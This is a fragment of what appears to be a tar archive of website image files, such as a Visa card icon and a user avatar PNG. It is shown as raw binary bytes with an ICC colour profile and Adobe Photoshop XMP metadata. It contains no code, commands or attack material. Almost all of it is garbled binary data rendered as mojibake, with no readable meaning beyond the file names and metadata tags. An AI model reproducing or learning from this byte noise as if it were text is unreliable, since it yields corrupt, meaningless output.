Eu�#�gD!�l{m����fF��!27#��:o[�J���S�ñ�ñ���&��J4�;u����ن8���-۔�}�nC����ȉC�����Hs"o"'��jZ��Z��&d����w#L��X׬PcE݇�ۅ�ODhr��@�ݔ=\�C$#
�E�/|(�ay������L�G�6��d�����O����V/���F��6�x��ı4��K���_��o�:\� �>��R�)x|.ؒ�D������%��`��ވvQ�|��c}��i�C����3zB�q�8IEND�B`�images/cards/visa.png000066600000012126151150443020010556 0ustar00�PNG


IHDR�P�}�	pHYs��
OiCCPPhotoshop ICC profilexڝSgTS�=���BK���KoR RB���&*!	J�!��Q�EEȠ�����Q,�
��!��������{�kּ�����>�����H3Q5��B������.@�
$p�d!s�#�~<<+"��x��M��0���B�\���t�8K�@z�B�@F���&S�`�cb�P-`'������{[�!�� e�Dh;��V�EX0fK�9�-0IWfH�����0Q��){`�##x��F�W<�+��*x��<�$9E�[-qWW.(�I+6aa�@.�y�2�4�������x����6��_-��"bb��ϫp@�t~�,/��;�m��%�h^�u��f�@����W�p�~<<E���������J�B[a�W}�g�_�W�l�~<�����$�2]�G�����L�ϒ	�b��G�����"�Ib�X*�Qq�D���2�"�B�)�%�d��,�>�5�j>{�-�]c�K'Xt���o��(�h���w��?�G�%�fI�q^D$.Tʳ?�D��*�A�,����`6�B$��BB
d�r`)��B(�Ͱ*`/�@4�Qh��p.�U�=p�a��(��	A�a!ڈb�X#����!�H�$ ɈQ"K�5H1R�T UH�=r9�\F��;�2����G1���Q=��C��7�F��dt1�����r�=�6��Ыhڏ>C�0��3�l0.��B�8,	�c˱"����V����cϱw�E�	6wB aAHXLXN�H� $4�	7	�Q�'"��K�&���b21�XH,#��/{�C�7$�C2'��I��T��F�nR#�,��4H#���dk�9�, +ȅ����3��!�[
�b@q��S�(R�jJ��4�e�2AU��Rݨ�T5�ZB���R�Q��4u�9̓IK�����hh�i��t�ݕN��W���G���w
��Ljg(�gw��L�Ӌ�T071���oUX*�*|��
�J�&�*/T����ުU�U�T��^S}�FU3S�	Ԗ�U��P�SSg�;���g�oT?�~Y��Y�L�OC�Q��_�� c�x,!k
��u�5�&���|v*�����=���9C3J3W�R�f?�q��tN	�(���~���)�)�4L�1e\k����X�H�Q�G�6����E�Y��A�J'\'Gg����S�Sݧ
�M=:��.�k���Dw�n��^��Lo��y��}/�T�m���GX�$��<�5qo</���QC]�@C�a�a�ᄑ��<��F�F�i�\�$�m�mƣ&&!&KM�M�RM��)�;L;L���͢�֙5�=1�2��כ߷`ZxZ,����eI��Z�Yn�Z9Y�XUZ]�F���%ֻ�����N�N���gð�ɶ�����ۮ�m�}agbg�Ů��}�}��=
���Z~s�r:V:ޚΜ�?}���/gX���3��)�i�S��Ggg�s�󈋉K��.�>.���Ƚ�Jt�q]�z�������ۯ�6�i�ܟ�4�)�Y3s���C�Q��?��0k߬~OCO�g��#/c/�W�װ��w��a�>�>r��>�<7�2�Y_�7��ȷ�O�o�_��C#�d�z����%g��A�[��z|!��?:�e����A���AA�����!h�쐭!��Α�i�P~���a�a��~'���W�?�p�X�1�5w��Cs�D�D�Dޛg1O9�-J5*>�.j<�7�4�?�.fY��X�XIlK9.*�6nl�������{�/�]py�����.,:�@L�N8��A*��%�w%�
y��g"/�6ш�C\*N�H*Mz�쑼5y$�3�,幄'���L
Lݛ:��v m2=:�1����qB�!M��g�g�fvˬe����n��/��k���Y-
�B��TZ(�*�geWf�͉�9���+��̳�ې7����ᒶ��KW-X潬j9�<qy�
�+�V�<���*m�O��W��~�&zMk�^�ʂ��k�U
�}����]OX/Yߵa���>������(�x��oʿ�ܔ���Ĺd�f�f���-�[����n
�ڴ
�V��E�/��(ۻ��C���<��e����;?T�T�T�T6��ݵa�n��{��4���[���>ɾ�UUM�f�e�I���?�����m]�Nmq����#�׹���=TR��+�G�����w-
6
U����#pDy��	�
:�v�{���vg/jB��F�S��[b[�O�>����z�G��4<YyJ�T�i��ӓg�ό���}~.��`ۢ�{�c��jo�t��E���;�;�\�t���W�W��:_m�t�<���Oǻ�����\k��z��{f���7���y���՞9=ݽ�zo�����~r'��˻�w'O�_�@�A�C݇�?[�����j�w����G�������C���ˆ
��8>99�?r��C�d�&����ˮ/~�����јѡ�򗓿m|�����������x31^�V��w�w��O�| (�h���SЧ�������c3-� cHRMz%������u0�`:�o�_�F	�IDATx��ypS�ǿO�.K�e�>��@��iL��`HC��2L3�t�����&L:%mi�L�N2���	��ɔr�6�]L��1>�-!���$[�����v�!���vW�}������8��A��B��8�<���m�45R��Xu����yp<�cݮci�D�IB}�T��l�l�෴��R��c
�R�ɩ��P��)��DE$�D�@"H� $�D�@"H� $�D��Bh
f�z5TJ9��18����с�
�x�\P�݄�&؝\��ۋ�QZ�ʬ����0��(\��][���V;~�F�hߙ&6�`��X�'�Vɧ�<<�.�0n��EU�k�p��E�R)�ص5�fGA����!'^������	Ȍ�ƞ56��Baoa��5�����w��l{Ғ����mv��%1X�$F�f`���sIf$���CnN����8��0%�QZ�������D����둟/ZoЫDdz�L@K�N%H��UCؓU�P{=�m��	��ܓ3�R#���W�eJc�i���ܚ���^����5�G�?7':����HT�Y����c�;O�k/8m�MQ�C�SE��R���Ԥpf����'֛��=+���9���ҬY�X�i�n���z�J�A����./��=h�-���u��ݎQ�@�Q 6���[����(���V��k�Cv���߉6j�qu���n0�Í�Q��.f9����p�RC����ύ�1\���5{�l���m��hm2´Jfۿ}p���7:c��TX��M������(΄\>���8�(]����ܜh�3�
N����DžO��/�W_������l��v��<ӟ��܁��w�Ʊ�Br؉K�f\�5�^�"D��B�x2�
C�
	�:X&W�%�j�m3JX�WN���z�O[�F��Չ�~�+�}>����"�U�vqQ�0�U��/HAc�:y��m��] (���?m�@��8B�.`S��#�)?	J�02�����U������n;��v�j����|$v���E��������Ae���q����)�/�d1+�w��Oc��-��������6ѱ%��p�@~���DL��rҍL�r�R��v;���g�
~������t3`�F�b�baR�=�OZ}�4��E���U�_��Nty�,mX����b��<���|B�3'�S�㘝f�w����ޅ��m\�L��!c�>��d�R�	 �n���x��Y�q2���9��$��mz�R�7[���nc��J�t�K�v`��5F<�
��	G�D�/?�,(KOfO�^3o��=��~z�m��:֔�0���fD�N�S�3�P���/ء�E����}��������t#3�kj���„���o���Y{�w�<~v�
�G��F5����~��Î-�L�qU�Wx�4�@P�`0�!���,Ku0���ܧ�Q��S8�V����oi��Df����������/����
Vf��EQX�x�7�p��N6����{pNcq�yp�d>���^.b�2�Czr8��Y�D�'�E5xyo��n!c�-�J���qi`�q���@B����qu3�z�|�.�d)r$IJ#��м�d��ߪ��2�UJ���aA:ug����8d�F�zS�4M��Z|��ϱ����t+���p�u�YǤV��}�>�d��\�҇�5��9��r�"�;O���^F��d�<���?=���
k��0h�!(-L�o����0t�
�lH{ ׿8��tgk��M�~-�ub;���b�V����L�(�����#n�U!S���9z�	<?q4m���\��#��``ȉ��d��}�W��֋��;پF�@�UB�U�a�����2��׾�������5ݢ}|��X��{Z(!VC����S�` ���?t!���Q� >F���w��~���xfV���x�_��;*�Of�A�T�[u�4}��̀�=.�H�x/��� >Fp{g�l���]���8���~������b������f���
�ey�hPO�偒@m]�x�{'P���eYQ��0"��ᑇ��m������Qu͂��'L��J!g����ͳ^筎{����у��/��M��p5d2c���������g9z3�K�1O�#�Q�n��E$�D�@"H� $�D�@"H� $�D�#4�ӈ7gh>$�3�<���D2�\�	����X�4?V���\�W�H���c҇�IEND�B`�images/user4.png000066600000234450151150443020007570 0ustar00�PNG


IHDR���7~�	pHYs���iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899777, 2023/06/25-23:57:14        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 23.4 (Macintosh)" xmp:CreateDate="2023-02-13T06:17:32+05:30" xmp:ModifyDate="2023-12-06T13:01:41+05:30" xmp:MetadataDate="2023-12-06T13:01:41+05:30" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:45166b9b-c609-40d6-81d6-e337e7cbf3d6" xmpMM:DocumentID="xmp.did:4f07f09f-f397-4d8d-9d93-bfb83a74bbfe" xmpMM:OriginalDocumentID="xmp.did:4f07f09f-f397-4d8d-9d93-bfb83a74bbfe"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:4f07f09f-f397-4d8d-9d93-bfb83a74bbfe" stEvt:when="2023-02-13T06:17:32+05:30" stEvt:softwareAgent="Adobe Photoshop 23.4 (Macintosh)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:2585c0ec-94c2-4a36-abe3-846251f518a2" stEvt:when="2023-03-16T11:48:35+05:30" stEvt:softwareAgent="Adobe Photoshop 23.4 (Macintosh)" stEvt:changed="/"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:45166b9b-c609-40d6-81d6-e337e7cbf3d6" stEvt:when="2023-12-06T13:01:41+05:30" stEvt:softwareAgent="Adobe Photoshop 25.1 (Macintosh)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>����2;IDATx���i���r�UUﰦ=}�w�;��"�Q��D��؈�0� d��O~$H�$lɎ���$0�v,˔���iJ%R�����{�o��ߩ�����^{���94�8g�귧������j�?��5D\��)FD�h﫽��W"�7�=a�QD>6�=��מ�w�Wo&���+WJ��!w��$���"(L(�Hݰ��*n���G�	���s��#��%l��3�w��`s���c�r3��[��-���ḿ��}��{g��By]½8�
�Q(( (��� BH������폗�nN��d�g�[�*q*v+��-ڱ�԰����=����o���[�:|�5�.�n��ն��Ą>$Z�%&��dfD  $"`��C`�"��R��KH�m�'G��7�ߛ}���I���.d3��y�EwV�O�Ƕڒ�n�siq��ID[���?�dw-�weٻbl-������>�{ߵ|�^�n�d��ER�""�"���(�(�<��"暆y^��Jk�$��bh}��k:�y��3��t3��AY�%�1��p���u�\%�-�e����\���v�t3f#�Mc�N�{>Go�k�|N�.��$���Ԓ]6��^�}�X�:w�( �+� ���Y��f�z���V�(T�1xn�&���g$
dX���V�Z
�sE6�E��V
�B.Ĺ�����ɼ�;��
	�|q�^I�����`��C�o��A��M�/�f��wQ��.[�7Yý�r���Zw��v��jp<"�]-YO�O�3��`����pd@�0�l��zE6��a�������P�H\;WU�|��L��ٴjk�P�(�ku��4�QDy�i��Yq$"�M��0/��0��u�'����z�h��@m4Y��lF�[3��v���OV�rh[y71�	��x��4>��Ao�ܥʛ4r]�=Dq�V��G�[���"��gl����mf���OHi6[�@�
HX+e3�Y5*��^9*
��</�23e��VJ��D!X%�5�y����~�?[\{�2*�eAZ�%�������,Z�{!$eQ �H���P�7��Fo<z0����r:�-��sAi� r{}�}su/�we�LW��%ve������.�M���w�������
I[�{W��y�Y5�*v�{�36�?wQ.���	
РdȆ�qn�L/�j����L\�>�FCf2�e&C��5�w.ߴ��_���^[�E��OD����D��A�R  !8�ND�Pic�ͭ5�����x6?�N/g�E� P&�z�w�V��noOޏ��~
���q��་l�U:��B�=����-�޵��]�>���  
"1�J4��b��S�3Ź�4 ��(�#t">VX���s�#�Ο_��������*[�#���/<��f&�3�������QXb�C "�b��ͳ���f�ړ�pX<�F���x^�ꮍ����!M��Թ�:7�<�P |���ow�����W��:��k�^I����_�7t~�A[L�=K�=K�櫏]ζ��.����uG�z�Bab4�(:k�1����(�<ˈ4!��w>��Jim��z^�8��^|���1�F*�\�:�(���jc�R�']Y�+Zk���hT�P`A�Ȉ�c躮�9�mf��X;,�2;|8���Ŭ�T��X�Ru�˵�fd�@�ͽ�.��k֜�'��bHS��.����Mq?6W껄���n��;��)gw-�K�?V�("�U�:!(@V�m�bF�5�)���ƨ����,Kk3h��y�� (1z|�����bі��V
BZic-�q>����Ph�UZ'=J�QX��k�"ZBE�h��"E.
�M��VV�,36�tfG�㲘7�Ӫ���&J""TB�M�Rl��]�����������0$w1�w�$z3�=P�Xjz��'�=���D�U��
w5��K^ƀ�RW�W[VS�k��J)�m�t]3�Lʲ,�r0<,��h]I���bQ�u�XL��E�GFY�!**�8x�=(�FkE*ˬ��#�I+�
��ز�,:���]�>�@��ȴ5���g�ɓk��5�fV��7���ռ:_ԝ��J����"r�=�ͻ=	 ۻ�~��{o�{Fy3R�&�mnzX��ܰ�������6���u;�� 
��bR_]���cGa�M�(��@Y(���E?+rfp��������ё�D�����<}��u]�빺�ͺ��ߵ�c��5�X��QDy��,���ct���H���ln�L��q��&��k�P�ʃ����$h�H
-�y�٢ІQ�T*?�l<��M뙌^�F���@������[�v+�'�'d��P�M��]nV?o^��zL*}��f�K��W!��Z�7�RvT1뿛uE��"�� Y$�����K7GX�6+l�<Ha�EX�nk��1ƚ��rk���z2u]�g����j�Iͯ'gMݵ�sN��5e�({��W�CRJ@���q@@ �y���k�EV������㧡�W�WW�O�F�''Ǚ)XX�=״ݢ�Ea�R1`F�����.�դk#)
72��(�b���-�9X{or��[)��զ-�u\
� ��Tw�������.N6�8�U�Bk�A��,N�����|�㶾��)����~��ٝ-k�"Ȕ��C3�^�;9?�M��"R�,�~��[K���ښ�,�~/ˌ6�h۵��:�g�ǫˋ�b����Շ������`�<Kj�,SZC��e�~��2Zkc@)���nں麮�k�9�}���A);荎�����,��\D�~8)"���W�붍"y���= ����C�E�z&�	Aඝ�����]�d+��������YS�[��VJ���D�z~�\�J���wY���� ��a�K"!��P�D�-A������kW�3��"muQ��J+a)��y�SRJ "�6
Qc]����t:��4RSկ_��1���㣲����C
�6Fk�1Zi��$ EFi`@�
I���j��-�M�p������tZ����
�';�dz�d2A�,����5���̰XT6�F�2����|9�&m'���-���p��&���V���o�
�v!ە�_����fq{a�֝�*�cD�
���.�
��z�˽얹�@D�Y����_N_~�]�	��clf�5yYy^�9i͑}@�ey�癱���"4msyq	"���G/Mf�Á�ڇк.��h=˲,�2/��,�1�@"����Fi����&����k]�6]���f�������$�`����ٳ��p6��M��u�����sO�=?<:��f1���â�	Q��@��sWUP�������.��En?I9 ��4��E��?���y�8Z�8�B�F�m��U��\�s�a��@Ov��3�[!�W`��Ъ���J5:>����G'�Yf�F�Y��E�7<i���u�c���C�!�0�z����30z:�]]^�u�̀D�)I�.����dVi��5�)���@XD�#3g�-��Z#J������a��1�|>����������<�Zk�|H������z��6�z<�\���h�1�D������Yv���Ç���p����j%�-j/�R�x��l�Ho����[1.[Rc�+��6�*ls�p{�'�[b��XD�A�@�H�P[n�YL/�/_|t��U�-�}T֚����?�?|��у�� �r�3fp]9c�2޹���DM*�>T�������x�/{��ZR��s���Bm��Z)�)`RD���"G�A�d�f9j
>4u�'DD@$m�V�yW7�k[fv�k��{�����ק�u��������m��m�������3��LQ����<xPEd�@.�����j�[�G��Ix�]Q���2nu�I�w2�Vb�+���;-6��#��D7�%[YvR�V���}������� ��Y4��(��ًw��࣮kA!e�((���E�z���?�><|�N��s�i��97�����e�y:ռ��7�����I)�H�I�A� "��S�E����m��RJ�����у��h8Y�@]W��4FP�heln��z�����G���ׯO���s����_��"��Y۶Ƙ�`0��'��Ç<|8���b~xp0<8T��q�ڶ�ۂ��Ȼ��	���'�2�Γ�["[)�����y�P��)���44��y[��<� 7���x[�� j[D^�[?����G/��3k�R�@X� C��4�Q�ȋ�t0x����G���þ�2c�Rz6��|��k��(ڦ��}�u-�g326�>&;ib���̑�%Ғh��љ�Z�<��G�=|��I9 ��m���p�r;:8@��lV�5�m}��z6��msq~! _��?��O;���9"�����/����g��:/���m2T���]��A���H�;ϟ���'T}l	c�o����u꽠�|�bh�de#Ӎ�"����Z`o�d'vs�-�	���2Eoq����~��\8@mHc�!qZ��2�1D�!23 Bn�Wϟ=}��aQ�� ϳ�W�{=fy���w�}��u�b���Zc��,3�B�1B��(�"Q��8!+$MDD
�,
Ϟ?}�7=~<�V��l�t�R����f���z6�Hf3�:�\Lgƚ��NO_G�/�K�Ѩi�cQއW/_i��?#+���+"::9�Y��L�N�B�Im����e����u/�rOE��
�ܯ��^Nc�yߛj�Ms{DZ�m�n���������V��A��}���o����?����/ʠ6!�#"�b TH
�Q�yf�"��EB��4����n[����W�Ng�YS7m�.��_�|}�b1�,gĦm�^4m�vm���u>x� � @D" �E30��" �j]��L?|uzzv�ԕ�{�����m��dR�����&�IU�Z�������x��<~2�M��2�`0P���6��`>�]\�[c�����|��g�
�.�F��L�p/����hӮ2j#�=Cw������Y�a	�-lm�>�u/�6�e�m@�u�q�D����9�ۙ��`�<G��������c�� �'$E���"�"	hR�̀"
��km^�ت�&�i��i۫�������?|���R`�險����\�,��
3�BD@�8�>	(��RBE"s�1�����|>���ի�K�|f�vQ���Ç�<��&���~]���!���^_^��<x����Y�9"�ZG��`8h���}�5u�y�`��Zc�ʉD�p}�0mů߮���hs<W��w��!����l�*
$����?�k��n����O�|�"��*�L	��ٛ,�i���(_���P�����<S������^�6!��2J�&D��M2UJ�R�(-/,Z)D�Fy�m�:\�m�-�����F�}uSWM�|@TH&r\�00����2ˌ5�crksk3cH��0�1�����h2����x��C�Ջ�/:�����	^���u5���f�YUUZ�����l��#"a&���~�<�xxx�97�M�e_�1����|��~�3|w�5v/:��m���-ԩ_��_ۀ�vν�m�]�Y�?ؐq�_������vO�X�%�ȡ�hL�c���|�뿯��b�(��FḮQ#�,PQ(m��RJ�"�Q�h��E@a1N�*�Q��u׵�#D�3��%�f��(E LH�����ش�"�,Q���2��:ϬV�
e�d.�_�~����� �]��=>�����f���QQ��ɴi��?�q6��u}rrҵ-"�u��)U�%\^^v]wt|�c���ѐC$�2k� !512m?w��=�g+�z�֑�%���ԯ�ʯm�ww����߂�zMY-@��6?7��[��/��Yj��eK+�#���������> ��8��"$ ���{B!r���]>�,�Dd�6 Iӎ�Bh�Rm�΅����>FVJ%�g��)��V
IDXb����wλb����׶��RQiT�u��Ŵ����w����p6�F���t:�N�?Xk����q�/�|>����m�TUUi�#QQy�'Z���C�8�pnlf�֚�Z`����ho
�]÷
�����/��n�ԟ��a�c��7�	��*���8mpK{�v��{;hS(����1�ٷ~����o�f����$�6�#"*�Js!���&	�B�}���1���م��&G�Z"!�mcy�4(Jp1t�s�s޻�p	#�� �E�1:���|�>:��������?���j����i�aY�]�&�1����x��T"kDd0L&Ӻ�����1��Tl���ֺW�M����&����1�BJ�,#5!$�.`lak0�c�Pq���!��[5�_��7,��w`����ڐ �o6���;���֗�
�Q	�����|��o�y�x�RYf9��Vd��C�Q(��k�q�!
G�(�!23;�]Wu]�N��Ī�;��1/�t�>�( ��k�ƅc &�tx�@(���c�C��v]�GI���6ϋ�g��y�+����+1���Z�+K��b&eY2�h2�x���)5��%JQ(#���U���#��d2�D���y��h�oaw7l���=кk�q%2�+v;�P�X�>þ	��e��"����cDbDm
O����# u�#�<�|�޹�c�t]+����4
s��9����r�>pع���:��a��~��O~���y���� π]��!"	0��A$F�d�����Li�Z#���iC�Z��"C���R�H�RC����@�����d2�Z���$�L�{e9��mf��m��tc,��97���q�1���p>��H����h4Z�Uۺ�����罢��1y�!�eQuα�c��]��>	B�8��E�wNP�6bs?�l��i����i�J	�e�~�7�OL/�
�y�9�/��$÷�Mf�1�R$�!����Qb�A�E���&S�2;��~���~�s�}󍧏��!L��������x<��UӶmW5�s�X�iUY�,�6J�3;�6t�o��q�>r��E+%B�H�"+������֤s�EQ�Nf��{�Y���OΔ���8:<���88<�UU���@Y�"��ɓ>� ��>x�1��cx��!4m��ɓ��g��W�����������L5�?9}t9���w{wh�"7��3��@�ܢ�ۺ��\���nz߳!�;i���V��w�m�]5�6�������vY�u�!K�e��й�,�1޹��V"��`!��,,,��`��hPf�����O���s�y�gO�x����e	�s�ٔy�d�~:��um�;�<��dZc1Y�yq�;�8��u�iݢjU3���y5��E�T]Ww���*��(�:2Eq��یhM~1��������[?��&��`0����bQ�z��ѣG��e��Ǔ��9wu}urt���1��`�k�����/_�V�G�Q�Tgg��Q���c|r0��j
��5�[��vy���M���M����n�0�E�7���-�m�������0�nQ������.e��m48犢�Y����3p�]� �]��e�˟���|��珞?}zt|\�Km-(EB�J�c�,�9���G$��BK�$@BDX�1�( 1D�ε]�t�y5�/Ƴ�tV�'���⪚/�q>0@� h$�r�1���h��������>{���0�s�L����������� Zk��~������///��Ό1:�m]m�=yzvvNJ����Z�~���������\�������K?H�-����kFw+&w�{���d&
�>&!�{����V�N!�)F@�̈�+��}ퟌ//�*iEA�jSf��;���"�3�5Ya�,�6
O��[O|�3o}��'���^^�d�쓴VJ���ň
�E�a���$�kcl L����"C�1��C��u�����z>[\M篯gWӋ�|�h�m�����V��]��&
���^�~����O|epppzy����d�D�'�U�X��t�,�^)�1��v<�e1///O_�>{�i�u�����t2#����d:�8}m�.G��GEִ�,e�(�� �x�/�����HD�>$���6f�b�'�N�U�ޣ�;�!\l�(�2��L�u���|��p�̠4&�./r��X"sd1�r�4��X��ut��gO>���O����㓃a?/
k��3�e���Fk�!hE���s�
c������%g��c�H]*"1�dV�s�s�=l]�=Y�o�W�����b2;[̧mS��JaQ)]�y�v>mM�b��;�>z�`4T��t2)�b<?x�h�0C���Z+Ն ژ����'����ꪼ�3s�uY^���l�tpxx8���Wc�������ߍg��x���z�wŤ
[��N�1������xK��R����7��-W[`]�[�ߛ�n&X?�+b��n����E���?z��os�!03"s�Z[k������.����t<�{_}덟��~�˟����x��x0��^V&�6˔5�jm��5�R�0�ɤ�?E
1=jR��!��hm4M�(m�5�X2���Ɛ֨i��%���&�۬Ȳ�fynzEV�����y�̭6
���WD+��@g6�>�(�Ϯ�f����dž�l>36G�|�߯5 6m�˼ ��1�{/���{7�N��~��W�"K^�`6�eYn�nD,��XCH��8'������݂�ތ�[p]z�b
v܁5�Lo ��z_�\״Gv���xKh�[|�����u`	>���l�߹(,�!Fb^�W�qWןy��?����۟���g�OF�A��E�g�ͬ1�X��&RZ餬�UH ����V���"M�k��Z/q��Ѥ���J)�)��Ji��6FY��R�1�1�Ɋ�Wf�<ˍ&�%p��FiL�H+k�b��ÓA��o����{kM�k� 4m��{�;��<o�Zk��g�E�\��s����,��b��9$��F�v1��}#�
��#�"X�0�fL̺��_���w[�7�a#�a��Y���;
�]oͭ��e���(�V_~��{����>�V��R]�Ef&�B�+��i�/����~��_x�鳧�'������ʼȲL[c�QV+���K[��!��
���m"$D�%ғX� �@��"@��M�4�b�J�ҤMzPZ�J紒���V�V��&�5��G!*eb��	��"���=x0�֘���56F�m^�#x��5MCD�tӴ�~il6��2k#3�c�,�a2�<<y��͉HU�%�Fq.&zv��.��"��?wm��W�گ�3w%]��n4oF�P�?c��7;��[�ݪ���K�FV&�����5G	]'��� ��f� ���syV4M۸�SO����?��gN��Ѡ�/�y���b`	eR
a��HUbb��`µ,//�)�j�U��U��\P�@!*RICN���Jt��6h��J������J��Q�X�X�?(�''V�E�FSo�#��9$J;�e��Ch�./�(�}�޹j1�]׍Fy�9�
G��K.�b>��EIF�Ei��Z�%R���	�۰��|�5[��c������_���ch/X����]p�u����S0���M'�~�]ۄ���K�Z"�΅�"#9�j>��ï~���>||��_�E��yb3�@J��|i�$��
qa��d�1�����I�BR
�@)2�*T����VZ+��&MJ#`�u������M�K�صo>y�Y�m]#�1&�p̫��D Ĉ�y^v]c̋ܵ���W����<"���G�G/_�x���b���EYZm��"�sr�_�E�."w��w�oCq+~���Yg�X�g��q����}�$��E$
��|1C�b�,��FN�H�(���|��p��O?���ɨ���En3�u�})aq��l�)"�!���R�%�v����w� �Pzd4�tUƤQъu-LQ�%J!�p]����7ʨ�RzZU����/�a����c�E^�M��"RMӬm�<�F�泇��t��e�X�&��Ac����G}��>z1:8�ʌ��~ٶ�عd~��l����ֺ���M�&Bq{S��w�����/��v�g�aw��h�H���c���o�\ܚg�p�.�04|����V�B��Hx�1���
�Gªk2%_x����x��x���E//�2��6&�f�t|e�h� 473��P�!��I�u��zu�cc��Q
����vA(@��S
�9��(„�18�[]�i�)����Ƚ<{��!�{�RZk �����,��~��!y}���󢮚BQ��,�^��'''��gJ�,�f����0�z=�9%]�x3���hk}�]�9���l}<�E���&�]ϕ}l4�>}�&C�Yȍ8w��*���H
�����g�dUS3s�b�J+q;D��������:�:ˌ���R�6�9��7Q��֦���,&@f�DIVW��8��}RX@�s�D֓Uu�P��	�t����DJ��ZQ	$��wO���
��\�(,Ȣ�@�Z;�̪�9��Z).)zc�y��8DD��k{�����9k�^,��a�כW�9���Y�GH1��~�3?��ϟ�qy}9�MFZw]��]7iZDDL��g�7�t�V��~���޷ˇu![{�����Ϥ�[;,�-�nw�maq���z����f��D���W�0Y���퐈#G�1�R]�����R��?y��Ӈ�^/+����<�k�Ү	)DBZ�����c"A���J�(�LK�CV\	`�*�nD"�5e_��%�	��]"�K�}Y90G��]�Y��P�sk��0�s��DP���wNDX8����LG�l;G�m�7m�}M]k���QӴ��A�q��g���ӣ�ccQ��T��!����w�e�͞C�wA�vF�]��.1��A�@�]_����d�G��
�����V&�؇t����R˹��|�1�����Ѱ���,ϳ�C��b`ң/�
8�+(��
�aY&�D�y�3���Xw�)rsGW���36HB��:I��5&��(�~0�F��F�GÓa�ȴ"!@a``��bc46�Z�c"�,E���{k�R*x�u]����c���fU]�MWWW�l�Y,Ϟ=�Z;�]�'�1��5M��aQ������h��� ��ݴKlm��������a]�:����
�̲���
d~yz=��e����c���$e�"1HX��dtx�/k�6�h���dmo�@:ۗ�.����ݺ��A"�"`�ڄmff�5R|���I�Xv�Nj�����"�{���|0:����a��tD�N�ѹصQ)��l�\��j҈��2�(�ڶM3;7�1vm���L'S������y�9��ߓ�l�]�A�2��p��m
���
�\l�,�G:7����n�wA�Lof�W��o[�-�	7��!D	��5M��%����g=D�9&/�!�����ᰗ癵i{���cp��$�+�]k
��w��A`M�od�x�n/l��a�MK�<	)Ҋ�&��Ͳ<+{�`P{�a1��1	5H	�*�ض��7f�!Y�d6KF�h��!t�3��s����</�EU�J��d�\��'�~�rr�4����U,�묢^��m9���͑].��������E��O��z�E��bU(����,�b!�*�v��5�H)$ ����s*�":D�􂿒ꢄ��(|p0<��,Ӛ��Io�����ۉ��=]��x�F�?\2+�+�P�"qe}# �H2��{",�(���+��M����P)������fY�ˇ��_E?����"Z�ۑ�S@ "�I!iR�Pk�9"�Z;���۶ɋ,�p}=VF�b>����~ptrRU�?z���#s�Y���8|�����@�^;���{�w~nԲ�����-ۨ��\�uMY�ʼָ���a'(J�����e�� ��`�]�PZ8��"3�h�)2�6��
���t�Y�F܃�,�023��$?�� b\r �Q`i*�"��B",ËI+�:G��/}���@+2d���Xk�������{�|���(Ff�(Ҹ��J�R*u|I������cf�0'4"c����dv<�u�I-��9W�z�����O^�|���#E�3��!� +M�m`�n�~�y����rV�;]��tӵN�4�VX�[����{��2{|Wu�n�@:���죗]��PF��N]"�	Z��� ���}@�TΛ�#�6ܸd ��x5�#�l�{-6�,Y�s�W�v�����YlU�j��(ɌI��geY�A/ˍR ���S��8FR�|*�
�,��w�%8c�0)�aiG�1J۶e�����]�UU�|�tMKO�>�?x��lN����lF�rw
���Bb�Lw(�nQ�a���L�63�x�5�7�c���b���T "h��O�./\�W2��u�B.�P$T�{�^n��f������eLH�"�l�W8K�\�]�}k��%��
����(��LF��qY$j
 뫌6?��,/�d䡓el����e>�M�i��&[)�C01R�"I��$k�N���R*� ���:�t�e����j��x�4�Ͳ��E���/�U���~于H��¨Mz�w|S��P�廕둺���zE��Ꮊ�c뻫��
6���X�hA���s��,�Bd�j�!���!?X�
�<O�T���kXi�V���0��'Ɇ}
�[ ^^Mސ%�����ZH���i�M1��"��=F����Z�y����,i�I2F@�=Ȳ󙅅C�"@HZ��>(��`^�!���>�3��x<&����g��}�vM]?z������Tb�=k��o����Æ'�u�-���\�u��m�4�+�Q����֫-Pn=l1!�Ul�l��TfTs}u~vچ�e���k[�9"�Df/�=�"�<Ϭ�F�֠Q$m� 0,�q�W��iH�8��Jl�-
��Q),	3�0&�ԫ�q�u���,I2/%X���%���,��J�}	(�.M4Z)mM����e���5������%^�C@`.�%�t� ��KaPJ1�2���TyQ\]_#�Rj6�qd��J�����O�����׋�\+�i*�,}
�P+�w{�ps�h�Uo!m�8nֲI1o(�n�-�ݚ�G��̵�?l�iw&܋lR�GL�s����Q��k�P��sf��"@"�^F�}N��75��F*l�
����ڌ%����kfc�%Q�Du���R6]���)�p�y=s�!�$on��
 -��RJicLft��2#R ��P��ŴM�Z�#�H�o��	�WKy�1M��dY�6�t>7�,�󶪲<1�m��������1x����N}�DmqZ��nq��@]��F�����^-���a�p{�즁�9�
�_����5���^~�Q�v�b�a溮c�63Hbn$r�He�gf��[�՝��ЄD�W�fa^��
�I���2[��6��r��d�]5����I��4.�x�(c2c�̔�XM �>O�J7��,a
i)[J���>(�$�N��b��b��R��Xy�'�)�]��b�x�ͷ�����tr��F�dEa�d�����{H��m���o܄n��V��̞ݚ�%���F��WW�#�Xk�s]�	b�z�q���dZ�,˴1j�E���
8n�����A�7� ސ��f��궊]ꮑE"�m��(���֜_�J��<6ڔV�
m�¥t��2c`fa�P�"���%m�Z����tm���uUy�3k'�q�4�Z�=	�'�"�G�a�4��k�չB�,rc˿=����pH��[*��m��J��u�w'܋�eF����^|�Ac�֪m[�u k'�B�����E�Y��K�[����
